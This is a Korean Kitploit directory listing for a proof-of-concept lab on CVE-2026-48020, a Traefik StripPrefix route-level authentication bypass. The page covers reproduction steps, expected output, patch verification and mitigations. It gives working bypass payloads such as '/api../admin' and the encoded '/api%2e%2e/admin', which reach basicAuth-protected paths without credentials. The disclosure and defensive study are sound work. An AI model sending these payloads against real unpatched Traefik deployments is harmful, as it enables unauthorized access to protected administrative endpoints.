Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization | Kitploit
도구/GitHubGitHub/hunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubhunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
1개월 전아직 검토되지 않음

CVE-2026-48020 — Traefik StripPrefix 라우트 수준 인증 우회 (PoC)

CVE-2026-48020에 대한 자체 포함 개념 증명(PoC)입니다. 이는 라우팅 결정이 내려진 이후 경로 정규화가 발생하여 생기는, Traefik StripPrefix 미들웨어의 라우트 수준 인증/권한 부여 우회입니다.

GET /api../admin과 같은 요청은 라우팅 시점에 공개된 PathPrefix(\/api`)라우터를 통해 전달됩니다(따라서 보호된 라우터의basicAuth미들웨어는 절대 연결되지 않습니다). 그러나StripPrefix가 /api를 제거하고 Go의 req.URL.JoinPath()가 남은 /../admin을 정규화하면, 백엔드는 보호되어야 했던 경로인 /admin`을 수신하게 됩니다.

랩 구성

root@kitploit:~
client (poc.py)
   │  GET /api../admin        ← no credentials
   ▼
Traefik :18080   ──routing──▶ public-api router (PathPrefix /api)  + StripPrefix
                   (skips)   protected router  (PathPrefix /admin) + basicAuth
   │  after StripPrefix("/api"):  /../admin  ──JoinPath()──▶  /admin
   ▼
backend :9000   ──▶  200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }

파일

재현

root@kitploit:~
docker compose up -d --wait          # start Traefik v3.7.1 + backend
python3 poc.py                        # run the bypass checks

취약한 Traefik에서의 예상 출력

root@kitploit:~
[*] Target: http://127.0.0.1:18080

  [blocked] direct protected (auth enforced)      /admin
          -> status=401  body=...
  [blocked] direct protected (auth enforced)      /internal/config
          -> status=401  body=...
  [safe  ] public strip + exclusion (safe)        /api/admin
          -> status=404  body=...
  [safe  ] public strip + exclusion (safe)        /api/internal/config
          -> status=404  body=...
  [!] BYPASS  literal ..                          /api../admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  [!] BYPASS  encoded %2e%2e                      /api%2e%2e/admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  ...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.

패치된 Traefik(v3.7.3)에서

우회 페이로드는 200 대신 404를 반환합니다. 이 패치(Traefik PR #13215)는 StripPrefix/StripPrefixRegex 정규화 후 경로가 달라지는 모든 요청을 거부하므로 /../admin 재작성은 탐지되어 거부됩니다.

수정 사항 확인

root@kitploit:~
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py        # bypass payloads now return 404 -> "No bypass observed"

완화 조치 (업그레이드하지 않고)

공개 라우트가 경로 순회 형태와 전혀 일치하지 않도록 하십시오:

root@kitploit:~
# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`)  +  StripPrefix(`/api/`)

공개

WonYun / kyun0(GitHub: H4ck2)이 Traefik 유지보수자에게 보고했으며 GHSA-xf64-8mw2-4gr2에서 수정되었습니다. 이 PoC 랩은 함께 제공되는 게시글을 위해 제작된 독립적인 재현입니다: https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/.

도구 다운로드
CVECVE-2026-48020
GHSAGHSA-xf64-8mw2-4gr2
CVSS 3.1 (NVD)10.0 심각 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
영향 받는 버전Traefik <= v2.11.46, <= v3.6.17, <= v3.7.1
수정 버전v2.11.48, v3.6.19, v3.7.3
파일용도
docker-compose.yml취약한 Traefik(v3.7.1) + Python 백엔드를 실행
dynamic.ymlTraefik 동적 구성: 공개 /api 스트립 라우트와 basicAuth 뒤에 있는 보호된 /admin,/internal 라우트
backend.py보호된 경로에 대해 비밀값을 반환하는 소형 백엔드
poc.py우회 페이로드를 전송하고 도달한 경로를 보고